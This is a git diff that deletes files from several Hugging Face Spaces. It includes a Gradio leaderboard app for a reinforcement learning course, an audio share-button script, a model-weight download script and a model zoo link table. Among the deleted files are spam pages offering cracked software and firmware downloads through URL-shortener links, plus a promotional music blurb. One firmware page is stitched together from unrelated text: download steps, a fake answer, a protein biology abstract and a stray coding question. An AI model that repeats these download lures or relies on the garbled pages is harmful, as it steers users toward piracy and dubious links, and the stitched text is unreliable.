"FrozenLake-v1-4x4 ❄️", -"rl_env": "FrozenLake-v1-4x4", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "FrozenLake-v1-8x8 ❄️", -"rl_env": "FrozenLake-v1-8x8", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "Taxi-v3 🚖", -"rl_env": "Taxi-v3", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "CarRacing-v0 🏎️", -"rl_env": "CarRacing-v0", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "MountainCar-v0 ⛰️", -"rl_env": "MountainCar-v0", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "SpaceInvadersNoFrameskip-v4 👾", -"rl_env": "SpaceInvadersNoFrameskip-v4", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "PongNoFrameskip-v4 🎾", -"rl_env": "PongNoFrameskip-v4", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "BreakoutNoFrameskip-v4 🧱", -"rl_env": "BreakoutNoFrameskip-v4", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "QbertNoFrameskip-v4 🐦", -"rl_env": "QbertNoFrameskip-v4", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "BipedalWalker-v3", -"rl_env": "BipedalWalker-v3", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "Walker2DBulletEnv-v0", -"rl_env": "Walker2DBulletEnv-v0", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "AntBulletEnv-v0", -"rl_env": "AntBulletEnv-v0", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "HalfCheetahBulletEnv-v0", -"rl_env": "HalfCheetahBulletEnv-v0", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "PandaReachDense-v2", -"rl_env": "PandaReachDense-v2", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "PandaReachDense-v3", -"rl_env": "PandaReachDense-v3", -"video_link": "", -"global": None -}, -{ -"rl_env_beautiful": "Pixelcopter-PLE-v0", -"rl_env": "Pixelcopter-PLE-v0", -"video_link": "", -"global": None -} -] - -def restart(): - print("RESTART") - api.restart_space(repo_id="huggingface-projects/Deep-Reinforcement-Learning-Leaderboard") - -def get_metadata(model_id): - try: - readme_path = hf_hub_download(model_id, filename="README.md") - return metadata_load(readme_path) - except requests.exceptions.HTTPError: - # 404 README.md not found - return None - -def parse_metrics_accuracy(meta): - if "model-index" not in meta: - return None - result = meta["model-index"][0]["results"] - metrics = result[0]["metrics"] - accuracy = metrics[0]["value"] - return accuracy - -# We keep the worst case episode -def parse_rewards(accuracy): - default_std = -1000 - default_reward=-1000 - if accuracy != None: - accuracy = str(accuracy) - parsed = accuracy.split('+/-') - if len(parsed)>1: - mean_reward = float(parsed[0].strip()) - std_reward = float(parsed[1].strip()) - elif len(parsed)==1: #only mean reward - mean_reward = float(parsed[0].strip()) - std_reward = float(0) - else: - mean_reward = float(default_std) - std_reward = float(default_reward) - - else: - mean_reward = float(default_std) - std_reward = float(default_reward) - return mean_reward, std_reward - - -def get_model_ids(rl_env): - api = HfApi() - models = api.list_models(filter=rl_env) - model_ids = [x.modelId for x in models] - return model_ids - -def update_leaderboard_dataset(rl_env, path): - # Get model ids associated with rl_env - model_ids = get_model_ids(rl_env) - data = [] - for model_id in model_ids: - """ - readme_path = hf_hub_download(model_id, filename="README.md") - meta = metadata_load(readme_path) - """ - meta = get_metadata(model_id) - #LOADED_MODEL_METADATA[model_id] = meta if meta is not None else '' - if meta is None: - continue - user_id = model_id.split('/')[0] - row = {} - row["User"] = user_id - row["Model"] = model_id - accuracy = parse_metrics_accuracy(meta) - mean_reward, std_reward = parse_rewards(accuracy) - mean_reward = mean_reward if not pd.isna(mean_reward) else 0 - std_reward = std_reward if not pd.isna(std_reward) else 0 - row["Results"] = mean_reward - std_reward - row["Mean Reward"] = mean_reward - row["Std Reward"] = std_reward - data.append(row) - - ranked_dataframe = rank_dataframe(pd.DataFrame.from_records(data)) - new_history = ranked_dataframe - file_path = path + "/" + rl_env + ".csv" - new_history.to_csv(file_path, index=False) - - return ranked_dataframe - -def download_leaderboard_dataset(): - path = snapshot_download(repo_id=DATASET_REPO_ID, repo_type="dataset") - return path - -def get_data(rl_env, path) -> pd.DataFrame: - """ - Get data from rl_env - :return: data as a pandas DataFrame - """ - csv_path = path + "/" + rl_env + ".csv" - data = pd.read_csv(csv_path) - - for index, row in data.iterrows(): - user_id = row["User"] - data.loc[index, "User"] = make_clickable_user(user_id) - model_id = row["Model"] - data.loc[index, "Model"] = make_clickable_model(model_id) - - return data - -def get_data_no_html(rl_env, path) -> pd.DataFrame: - """ - Get data from rl_env - :return: data as a pandas DataFrame - """ - csv_path = path + "/" + rl_env + ".csv" - data = pd.read_csv(csv_path) - - return data - -def rank_dataframe(dataframe): - dataframe = dataframe.sort_values(by=['Results', 'User', 'Model'], ascending=False) - if not 'Ranking' in dataframe.columns: - dataframe.insert(0, 'Ranking', [i for i in range(1,len(dataframe)+1)]) - else: - dataframe['Ranking'] = [i for i in range(1,len(dataframe)+1)] - return dataframe - - -def run_update_dataset(): - path_ = download_leaderboard_dataset() - for i in range(0, len(rl_envs)): - rl_env = rl_envs[i] - update_leaderboard_dataset(rl_env["rl_env"], path_) - - api.upload_folder( - folder_path=path_, - repo_id="huggingface-projects/drlc-leaderboard-data", - repo_type="dataset", - commit_message="Update dataset") - -def filter_data(rl_env, path, user_id): - data_df = get_data_no_html(rl_env, path) - models = [] - models = data_df[data_df["User"] == user_id] - - for index, row in models.iterrows(): - user_id = row["User"] - models.loc[index, "User"] = make_clickable_user(user_id) - model_id = row["Model"] - models.loc[index, "Model"] = make_clickable_model(model_id) - - - return models - -run_update_dataset() - -with block: - gr.Markdown(f""" - # 🏆 The Deep Reinforcement Learning Course Leaderboard 🏆 - - This is the leaderboard of trained agents during the Deep Reinforcement Learning Course. A free course from beginner to expert. - - ### We only display the best 100 models - If you want to **find yours, type your user id and click on Search my models.** - You **can click on the model's name** to be redirected to its model card, including documentation. - - ### How are the results calculated? - We use **lower bound result to sort the models: mean_reward - std_reward.** - - ### I can't find my model 😭 - The leaderboard is **updated every hour** if you can't find your models, just wait for the next update. - - ### The Deep RL Course - 🤖 You want to try to train your agents? Check the Hugging Face free Deep Reinforcement Learning Course 🤗 . - - 🔧 There is an **environment missing?** Please open an issue. - """) - path_ = download_leaderboard_dataset() - - for i in range(0, len(rl_envs)): - rl_env = rl_envs[i] - with gr.TabItem(rl_env["rl_env_beautiful"]) as rl_tab: - with gr.Row(): - markdown = """ - # {name_leaderboard} - - """.format(name_leaderboard = rl_env["rl_env_beautiful"], video_link = rl_env["video_link"]) - gr.Markdown(markdown) - - - with gr.Row(): - gr.Markdown(""" - ## Search your models - Simply type your user id to find your models - """) - - with gr.Row(): - user_id = gr.Textbox(label= "Your user id") - search_btn = gr.Button("Search my models 🔎") - reset_btn = gr.Button("Clear my search") - env = gr.Variable(rl_env["rl_env"]) - grpath = gr.Variable(path_) - with gr.Row(): - gr_dataframe = gr.components.Dataframe(value=get_data(rl_env["rl_env"], path_), headers=["Ranking 🏆", "User 🤗", "Model id 🤖", "Results", "Mean Reward", "Std Reward"], datatype=["number", "markdown", "markdown", "number", "number", "number"], row_count=(100, 'fixed')) - - with gr.Row(): - #gr_search_dataframe = gr.components.Dataframe(headers=["Ranking 🏆", "User 🤗", "Model id 🤖", "Results", "Mean Reward", "Std Reward"], datatype=["number", "markdown", "markdown", "number", "number", "number"], visible=False) - search_btn.click(fn=filter_data, inputs=[env, grpath, user_id], outputs=gr_dataframe, api_name="filter_data") - - with gr.Row(): - search_btn.click(fn=filter_data, inputs=[env, grpath, user_id], outputs=gr_dataframe, api_name="filter_data") - reset_btn.click(fn=get_data, inputs=[env, grpath], outputs=gr_dataframe, api_name="get_data") - """ - block.load( - download_leaderboard_dataset, - inputs=[], - outputs=[ - grpath - ], - ) - """ - - -scheduler = BackgroundScheduler() -# Refresh every hour -#scheduler.add_job(func=run_update_dataset, trigger="interval", seconds=3600) -#scheduler.add_job(download_leaderboard_dataset, 'interval', seconds=3600) -#scheduler.add_job(run_update_dataset, 'interval', seconds=3600) -scheduler.add_job(restart, 'interval', seconds=3600) -scheduler.start() - -block.launch() \ No newline at end of file diff --git a/spaces/huggingface-tools/text-download/__init__.py b/spaces/huggingface-tools/text-download/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/spaces/humbe/comunico/share_btn.py b/spaces/humbe/comunico/share_btn.py deleted file mode 100644 index 9c79af4b3320a7cc66dd5c9f840d2efef28db271..0000000000000000000000000000000000000000 --- a/spaces/humbe/comunico/share_btn.py +++ /dev/null @@ -1,180 +0,0 @@ -community_icon_html = """""" - -loading_icon_html = """""" - -share_js = """async () => { - async function uploadFile(file){ - const UPLOAD_URL = 'https://huggingface.co/uploads'; - const response = await fetch(UPLOAD_URL, { - method: 'POST', - headers: { - 'Content-Type': 'audio/wav', - 'X-Requested-With': 'XMLHttpRequest', - }, - body: file, /// <- File inherits from Blob - }); - const url = await response.text(); - return url; - } - function audioResample(buffer, sampleRate){ - const offlineCtx = new OfflineAudioContext(2, (buffer.length / buffer.sampleRate) * sampleRate, sampleRate); - const source = offlineCtx.createBufferSource(); - source.buffer = buffer; - source.connect(offlineCtx.destination); - source.start(); - return offlineCtx.startRendering(); - }; - function audioReduceChannels(buffer, targetChannelOpt){ - if(targetChannelOpt === 'both' || buffer.numberOfChannels < 2) return buffer; - const outBuffer = new AudioBuffer({ - sampleRate: buffer.sampleRate, - length: buffer.length, - numberOfChannels: 1 - }); - const data = [buffer.getChannelData(0), buffer.getChannelData(1)]; - const newData = new Float32Array(buffer.length); - for(let i = 0; i < buffer.length; ++i) - newData[i] = - targetChannelOpt === 'left'? data[0][i] : - targetChannelOpt === 'right'? data[1][i] : - (data[0][i] + data[1][i]) / 2 ; - outBuffer.copyToChannel(newData, 0); - return outBuffer; - }; - function audioNormalize(buffer){ - const data = Array.from(Array(buffer.numberOfChannels)).map((_, idx) => buffer.getChannelData(idx)); - const maxAmplitude = Math.max(...data.map(chan => chan.reduce((acc, cur) => Math.max(acc, Math.abs(cur)), 0))); - if(maxAmplitude >= 1.0) return buffer; - const coeff = 1.0 / maxAmplitude; - data.forEach(chan => { - chan.forEach((v, idx) => chan[idx] = v*coeff); - buffer.copyToChannel(chan, 0); - }); - return buffer; - }; - async function processAudioFile( - audioBufferIn, - targetChannelOpt, - targetSampleRate - ) { - const resampled = await audioResample(audioBufferIn, targetSampleRate); - const reduced = audioReduceChannels(resampled, targetChannelOpt); - const normalized = audioNormalize(reduced); - return normalized; - } - function audioToRawWave(audioChannels, bytesPerSample, mixChannels=false) { - const bufferLength = audioChannels[0].length; - const numberOfChannels = audioChannels.length === 1 ? 1 : 2; - const reducedData = new Uint8Array( - bufferLength * numberOfChannels * bytesPerSample - ); - for (let i = 0; i < bufferLength; ++i) { - for ( - let channel = 0; - channel < (mixChannels ? 1 : numberOfChannels); - ++channel - ) { - const outputIndex = (i * numberOfChannels + channel) * bytesPerSample; - let sample; - if (!mixChannels) sample = audioChannels[channel][i]; - else - sample = - audioChannels.reduce((prv, cur) => prv + cur[i], 0) / - numberOfChannels; - sample = sample > 1 ? 1 : sample < -1 ? -1 : sample; //check for clipping - //bit reduce and convert to Uint8 - switch (bytesPerSample) { - case 2: - sample = sample * 32767; - reducedData[outputIndex] = sample; - reducedData[outputIndex + 1] = sample >> 8; - break; - case 1: - reducedData[outputIndex] = (sample + 1) * 127; - break; - default: - throw "Only 8, 16 bits per sample are supported"; - } - } - } - return reducedData; - } - function makeWav(data, channels, sampleRate, bytesPerSample) { - const headerLength = 44; - var wav = new Uint8Array(headerLength + data.length); - var view = new DataView(wav.buffer); - view.setUint32(0, 1380533830, false); // RIFF identifier 'RIFF' - view.setUint32(4, 36 + data.length, true); // file length minus RIFF identifier length and file description length - view.setUint32(8, 1463899717, false); // RIFF type 'WAVE' - view.setUint32(12, 1718449184, false); // format chunk identifier 'fmt ' - view.setUint32(16, 16, true); // format chunk length - view.setUint16(20, 1, true); // sample format (raw) - view.setUint16(22, channels, true); // channel count - view.setUint32(24, sampleRate, true); // sample rate - view.setUint32(28, sampleRate * bytesPerSample * channels, true); // byte rate (sample rate * block align) - view.setUint16(32, bytesPerSample * channels, true); // block align (channel count * bytes per sample) - view.setUint16(34, bytesPerSample * 8, true); // bits per sample - view.setUint32(36, 1684108385, false); // data chunk identifier 'data' - view.setUint32(40, data.length, true); // data chunk length - wav.set(data, headerLength); - return new Blob([wav.buffer], { type: "audio/wav" }); - } - const gradioEl = document.querySelector('body > gradio-app'); - const audioEl = gradioEl.querySelector('audio'); - const resultTxt = gradioEl.querySelector('#result-textarea textarea').value; - const shareBtnEl = gradioEl.querySelector('#share-btn'); - const shareIconEl = gradioEl.querySelector('#share-btn-share-icon'); - const loadingIconEl = gradioEl.querySelector('#share-btn-loading-icon'); - if(!audioEl){ - return; - }; - shareBtnEl.style.pointerEvents = 'none'; - shareIconEl.style.display = 'none'; - loadingIconEl.style.removeProperty('display'); - const res = await fetch(audioEl.src); - const blob = await res.blob(); - const channelOpt = "both"; - const sampleRate = 48000; - const bytesPerSample = 1; // or 2 - const audioBufferIn = await new AudioContext().decodeAudioData( - await blob.arrayBuffer() - ); - const audioBuffer = await processAudioFile( - audioBufferIn, - channelOpt, - sampleRate - ); - const rawData = audioToRawWave( - channelOpt === "both" - ? [audioBuffer.getChannelData(0), audioBuffer.getChannelData(1)] - : [audioBuffer.getChannelData(0)], - bytesPerSample - ); - const blobWav = makeWav( - rawData, - channelOpt === "both" ? 2 : 1, - sampleRate, - bytesPerSample - ); - const fileName = `whisper-demo-input.wav`; - const audioFile = new File([blobWav], fileName, { type: 'audio/wav' }); - const url = await uploadFile(audioFile); - const descriptionMd = `#### Input audio: - -#### Transcription: -> ${resultTxt}`; - const params = new URLSearchParams({ - description: descriptionMd, - }); - const paramsStr = params.toString(); - window.open(`https://huggingface.co/spaces/openai/whisper/discussions/new?${paramsStr}`, '_blank'); - shareBtnEl.style.removeProperty('pointer-events'); - shareIconEl.style.removeProperty('display'); - loadingIconEl.style.display = 'none'; -}""" \ No newline at end of file diff --git a/spaces/hylee/u2net_portrait/U-2-Net/setup_model_weights.py b/spaces/hylee/u2net_portrait/U-2-Net/setup_model_weights.py deleted file mode 100644 index a101749c1356d9e60888627de726f56f07259ef9..0000000000000000000000000000000000000000 --- a/spaces/hylee/u2net_portrait/U-2-Net/setup_model_weights.py +++ /dev/null @@ -1,13 +0,0 @@ -import os -import gdown - -os.makedirs('./saved_models/u2net', exist_ok=True) -os.makedirs('./saved_models/u2net_portrait', exist_ok=True) - -gdown.download('https://drive.google.com/uc?id=1ao1ovG1Qtx4b7EoskHXmi2E9rp5CHLcZ', - './saved_models/u2net/u2net.pth', - quiet=False) - -gdown.download('https://drive.google.com/uc?id=1IG3HdpcRiDoWNookbncQjeaPN28t90yW', - './saved_models/u2net_portrait/u2net_portrait.pth', - quiet=False) diff --git a/spaces/hysts/LoRA-SD-training/style.css b/spaces/hysts/LoRA-SD-training/style.css deleted file mode 100644 index c4739b4ea5fc35e774a049e3dacc443f7f0eac19..0000000000000000000000000000000000000000 --- a/spaces/hysts/LoRA-SD-training/style.css +++ /dev/null @@ -1,3 +0,0 @@ -h1 { - text-align: center; -} diff --git a/spaces/inamXcontru/PoeticTTS/(2011) Sanspro V.4.92.rar With Crack Download and Install the Latest Version.md b/spaces/inamXcontru/PoeticTTS/(2011) Sanspro V.4.92.rar With Crack Download and Install the Latest Version.md deleted file mode 100644 index dbf605254e8f2a1eeea66a4c9cd2313d9d1ea404..0000000000000000000000000000000000000000 --- a/spaces/inamXcontru/PoeticTTS/(2011) Sanspro V.4.92.rar With Crack Download and Install the Latest Version.md +++ /dev/null @@ -1,6 +0,0 @@ -

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          \ No newline at end of file diff --git a/spaces/inplisQlawa/anything-midjourney-v4-1/Alterstate-Paradise Mp3.md b/spaces/inplisQlawa/anything-midjourney-v4-1/Alterstate-Paradise Mp3.md deleted file mode 100644 index 9b5a26691e4a5f9d49ea4129913d19bd26f9e11a..0000000000000000000000000000000000000000 --- a/spaces/inplisQlawa/anything-midjourney-v4-1/Alterstate-Paradise Mp3.md +++ /dev/null @@ -1,70 +0,0 @@ -## Alterstate-Paradise Mp3 - - - - - - ![Alterstate-Paradise Mp3](https://img.wynk.in/unsafe/320x180/top/https://s3-ap-south-1.amazonaws.com/wynk-music-cms/srch_universalmusic/music/update/1571230138/srch_universalmusic_00602547366870-USUM71517735.jpg) - - - - - -**Alterstate-Paradise Mp3 ===> [https://urluso.com/2typYU](https://urluso.com/2typYU)** - - - - - - - - - - - - - -# Alterstate-Paradise Mp3: A New Wave of Electronic Music - - - -If you are looking for a fresh and innovative sound in the electronic music scene, you might want to check out Alterstate-Paradise Mp3. This is the latest single from Alterstate, a talented producer and DJ from Australia who has been making waves with his unique blend of synthwave, electro-pop and ambient music. - - - -Alterstate-Paradise Mp3 is a catchy and uplifting track that transports you to a dreamy and futuristic world. The song features a pulsating bassline, soaring synths, crisp drums and a mesmerizing vocal sample that repeats the phrase "paradise". The song has a nostalgic vibe that evokes the 80s and 90s, but also a modern edge that makes it stand out from the crowd. - - - -Alterstate-Paradise Mp3 is available for streaming and download on various platforms, such as Spotify, Apple Music, YouTube and SoundCloud. You can also follow Alterstate on social media to stay updated on his upcoming releases and shows. Alterstate is definitely an artist to watch in the electronic music scene, as he delivers quality and originality with every track. - - - -Alterstate-Paradise Mp3 is not only a great song to listen to, but also a great song to dance to. The song has a dynamic and energetic rhythm that makes you want to move your body and feel the groove. Whether you are at home, in the car, or at the club, Alterstate-Paradise Mp3 will make you feel good and have fun. - - - -Alterstate-Paradise Mp3 is also a song that showcases Alterstate's versatility and creativity as a producer and DJ. He has been experimenting with different genres and styles of electronic music, such as techno, house, trance and chillout. He has also been collaborating with other artists and vocalists, such as Luna, who features on his previous single "Moonlight". - - - -Alterstate-Paradise Mp3 is a song that represents Alterstate's vision and passion for electronic music. He wants to create music that inspires and connects people, music that transcends boundaries and limitations, music that takes you to a different state of mind. Alterstate-Paradise Mp3 is a song that does all that and more. - - - -Alterstate-Paradise Mp3 is a song that reflects Alterstate's personal journey and growth as an artist and as a person. He started making music when he was a teenager, inspired by his love for video games, movies and comics. He taught himself how to use various software and hardware tools to create his own sounds and beats. He also learned how to play various instruments, such as guitar, piano and drums. - - - -Alterstate-Paradise Mp3 is a song that expresses Alterstate's gratitude and appreciation for his fans and supporters. He has been receiving positive feedback and recognition from listeners and critics alike, who have praised his music for its originality, quality and emotion. He has also been performing live at various venues and events, such as festivals, clubs and radio shows. He enjoys interacting with his fans and sharing his music with them. - - - -Alterstate-Paradise Mp3 is a song that invites you to join Alterstate's musical journey and adventure. He has many more projects and surprises in store for you, such as new singles, albums, remixes and collaborations. He is always working hard to improve his skills and expand his horizons. He is always looking for new challenges and opportunities to express himself through music. - - dfd1c89656 - - - - - diff --git a/spaces/inplisQlawa/anything-midjourney-v4-1/Atouch A7 Flash File (4G 16GB) SP7731 Display Fix 2Nd Update Firmware HOT.md b/spaces/inplisQlawa/anything-midjourney-v4-1/Atouch A7 Flash File (4G 16GB) SP7731 Display Fix 2Nd Update Firmware HOT.md deleted file mode 100644 index 74500bc10c49543c752ca711928f3ee3842632a2..0000000000000000000000000000000000000000 --- a/spaces/inplisQlawa/anything-midjourney-v4-1/Atouch A7 Flash File (4G 16GB) SP7731 Display Fix 2Nd Update Firmware HOT.md +++ /dev/null @@ -1,34 +0,0 @@ -

          Atouch A7 Flash File (4G 16GB) SP7731 Display Fix 2Nd Update Firmware


          Download Zip ✦ https://urlin.us/2uEw0R



          -
          -zip). - -2Nd : Download the attachment hilnei.jpeg to the .zip. - -Download is very easy. First You will see The Spss File. Right Click On the file and select "Save As..." And Save it on your Desktop. - -After Download The Spss File. Double Click to Open It. Then File & All The Fix Required. - -As you can see on The Fix File You can Fix any Display Issue. You Can Take a Screenshot to Show The Fix you make. - -You Can See This File Here How to download and fix an Atouch A7 display: - -Best Regards - -Russell Jimenez - -A: - -Many webpages are calling this display issue as an Atouch A7. In our case it is an Atouch A8. - -I hope my answer helps you and many people. - -Localization of the common extracellular epitope of myelin basic protein in the cytosol. - -Analysis of the primary sequence of myelin basic protein (MBP) reveals a short linear sequence of amino acids, Glu-Glu-Ser-Asp-Gly-Gly-Gly-Gly-Pro, which occurs twice in the sequence of the protein and which is homologous to a "staple" sequence in the cleavage of certain plasma cell membrane proteins. By using antibodies directed against the basic sequence and the more "regular" hydrophobic regions, the common epitope on MBP was localized in the cytosol of the demyelinating disease, experimental allergic encephalomyelitis (EAE). The basic sequence on MBP was shown to have a subcellular distribution pattern in the region of the Golgi apparatus and to be partially degraded by the proteases. The degradation of MBP in EAE was inhibited by preincubating the peptide with antigen-antibody complexes. It is suggested that the common epitope of MBP may be involved in the formation of cross-reactive antigens between myelin antigens and some other cell constituents, possibly the major myelin proteins, such as proteolipid protein (PLP).Q: - -How to run C program which reads data from serial port? - -I have a C program that runs on Linux, 4fefd39f24
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          diff --git a/spaces/inreVtussa/clothingai/Examples/Adobe Encore Cs6 Cannot Run In Non Royalty Serialized Mode Fix 2l.md b/spaces/inreVtussa/clothingai/Examples/Adobe Encore Cs6 Cannot Run In Non Royalty Serialized Mode Fix 2l.md deleted file mode 100644 index 32d27af82bfa99a3ed2e8f4adf17090e91f9c7bc..0000000000000000000000000000000000000000 --- a/spaces/inreVtussa/clothingai/Examples/Adobe Encore Cs6 Cannot Run In Non Royalty Serialized Mode Fix 2l.md +++ /dev/null @@ -1,6 +0,0 @@ -

          Adobe Encore Cs6 Cannot Run In Non Royalty Serialized Mode Fix 2l


          Download Zip ⚹⚹⚹ https://tiurll.com/2uCiGP



          - -Try running PR CS6 once, before you open EN. 4d29de3e1b
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          diff --git a/spaces/inreVtussa/clothingai/Examples/Astm A479 Pdf Free 39.md b/spaces/inreVtussa/clothingai/Examples/Astm A479 Pdf Free 39.md deleted file mode 100644 index 1b33cf1a11d7a4774ef310cf4754ab0610e62e6a..0000000000000000000000000000000000000000 --- a/spaces/inreVtussa/clothingai/Examples/Astm A479 Pdf Free 39.md +++ /dev/null @@ -1,6 +0,0 @@ -

          Astm A479 Pdf Free 39


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          -This standard is issued under the fixed designation G 39; the number immediately following the designation indicates the year ... 1 This practice is under the jurisdiction of ASTM Committee G-1 on Corrosion ... sulfate free to avoid attack of the zinc base ... 479. 0,06. 37,27626459. 39,51284047. 0,058268908. 365,5310506. 1fdad05405
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          diff --git a/spaces/jackculpan/chatwebpage.com/index.css b/spaces/jackculpan/chatwebpage.com/index.css deleted file mode 100644 index e7afbf9c00ed8e5c3cd94de39b640d83e9f6531b..0000000000000000000000000000000000000000 --- a/spaces/jackculpan/chatwebpage.com/index.css +++ /dev/null @@ -1,12 +0,0 @@ -body { - font-family: "Arial", sans-serif; - background-color: #f5f5f5; - color: #333; -} - -.block { - background-color: white; - padding: 0px; - border-radius: 8px; - box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); -} diff --git a/spaces/james-oldfield/PandA/networks/genforce/MODEL_ZOO.md b/spaces/james-oldfield/PandA/networks/genforce/MODEL_ZOO.md deleted file mode 100644 index f30aa7dc6dbaeaeb7c70148d053eb77c04e6a939..0000000000000000000000000000000000000000 --- a/spaces/james-oldfield/PandA/networks/genforce/MODEL_ZOO.md +++ /dev/null @@ -1,131 +0,0 @@ -# Model Zoo - -## Pre-trained Models - -First of all, we thank the following repositories for their work on high-quality image synthesis - -- [PGGAN](https://github.com/tkarras/progressive_growing_of_gans) -- [StyleGAN](https://github.com/NVlabs/stylegan) -- [StyleGAN2](https://github.com/NVlabs/stylegan2) - -Please download the models you need and save them to `checkpoints/`. - -| PGGAN Official | | | | -| :-- | :-- | :-- | :-- | -| *Face* -| [celebahq-1024x1024](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EW_3jQ6E7xlKvCSHYrbmkQQBAB8tgIv5W5evdT6-GuXiWw?e=gRifVa&download=1) -| *Indoor Scene* -| [bedroom-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EUZQWGz2GT5Bh_GJLalP63IBvCsXDTOxDFIC_ZBsmoEacA?e=VNXiDb&download=1) | [livingroom-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/Efzh6qQv6QtCm0YN1lulH-YByqdE3AqlI-E6US_hXMuiig?e=ppdyB2&download=1) | [diningroom-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EcLb3_hGUkdClompZo27xk0BNmotgbFqdIeu-ZOGJsBMRg?e=xjYpN3&download=1) | [kitchen-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/ESCyg6hpNn1LlHVX_un1wLsBZAORUNkW9MO2kU1X5kafAQ?e=09TbGC&download=1) -| *Outdoor Scene* -| [churchoutdoor-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EQ8cKujs2TVGjCL_j6bsnk8BqD9REF2ME2lBnpbTPsqIvA?e=zH55fT&download=1) | [tower-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EeyBJvgRVGJClKr1KKYDF_cBT1FDepRU1-GLqYNh8W9-fQ?e=nrpa5N&download=1) | [bridge-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EZ2QScfPy19PiDERLJQ3gPMBP4WmvZHwhNFLzfaP2YD8hQ?e=bef1U9&download=1) -| *Other Scene* -| [restaurant-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/ERvJ4pz8jgtMrcuJXUfcOQEBDugZ099_TetCQs-9-ILCVg?e=qYsVdQ&download=1) | [classroom-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EUU9SCOPUxhMoUS4Ceo9kl0BQkVK7d69lA-JeOP-zOWvXw?e=YIB4no&download=1) | [conferenceroom-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EX8AF0_6NoJAl5vKFewHWnsBk0r4PK4WsqsMrJyj84TrqQ?e=oNQIZS&download=1) -| *Animal* -| [person-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EWu4SqR42YpCoqsVJOcM2cMBcdfXA0j5wZ2hno9X0R9ydQ?e=KuDRns&download=1) | [cat-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EQdveyUNOMtAue52n6BxoHoB6Yup5-PTvBDmyfUn7Un4Hw?e=7acGbT&download=1) | [dog-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/ESaKyXA5fGlOvXJYDDFbT2kB9c0HlXh9n_wnyhiP05nhow?e=d4aKDV&download=1) | [bird-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/Ef2p4Pd3AKVCmSm00YikCIABhylh2dLPaFjPfPVn3RiTXA?e=9bRitp&download=1) -| [horse-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EXwCPdv6XqJFtuvFFoswRScBmLJbhKzaC5D_iovl1GFOTw?e=WDdD77&download=1) | [sheep-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/ER6J5EKjAUNFtm9VwLf-uUsBZ5dnqxeKsPxY9ijiPtMhcQ?e=OKtfva&download=1) | [cow-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/ERZLxw7N7xJPm72FyePTbpcByzrr0pH-Fg7qyLt5tYGXwQ?e=ovIPCl&download=1) -| *Transportation* -| [car-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EfGc2we47aFDtAY1548pRvsByIju-uXRbkZEFpJotuPKZw?e=DQqVj8&download=1) | [bicycle-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/Ed1dN_FgwmdBgeNWhaRUry8BgwT88-n2ppicSDPx-f7f_Q?e=bxTxnf&download=1) | [motorbike-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EV3yQdeJXIdPjZbMO0mp2-MBJbKuuBdypzBL4gnedO57Dw?e=tXdvtD&download=1) | [bus-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/Ed7-OYLnq0RCqRlM8qK8wZ8B87dz_NUxIKBrvyFUwRCEbg?e=VP5bmX&download=1) -| [train-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/EedE2cozKOVAkhvbdLd4SfwBknFW8vWZnKiqgeIBbAvCCA?e=BrLpTl&download=1) | [boat-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/Eb39waqQFr9Bp4wO0rC5NHwB0Vz2NGCuqbRPucguBIkDrg?e=lddSyL&download=1) | [airplane-256x256](https://mycuhk-my.sharepoint.com/:u:/g/personal/1155082926_link_cuhk_edu_hk/Ee6FzIx3KjNDhxrS5mDvpCEB3iQ7TgErmKhbwbV-eF07iw?e=xflPXa&download=1) -| *Furniture* -| 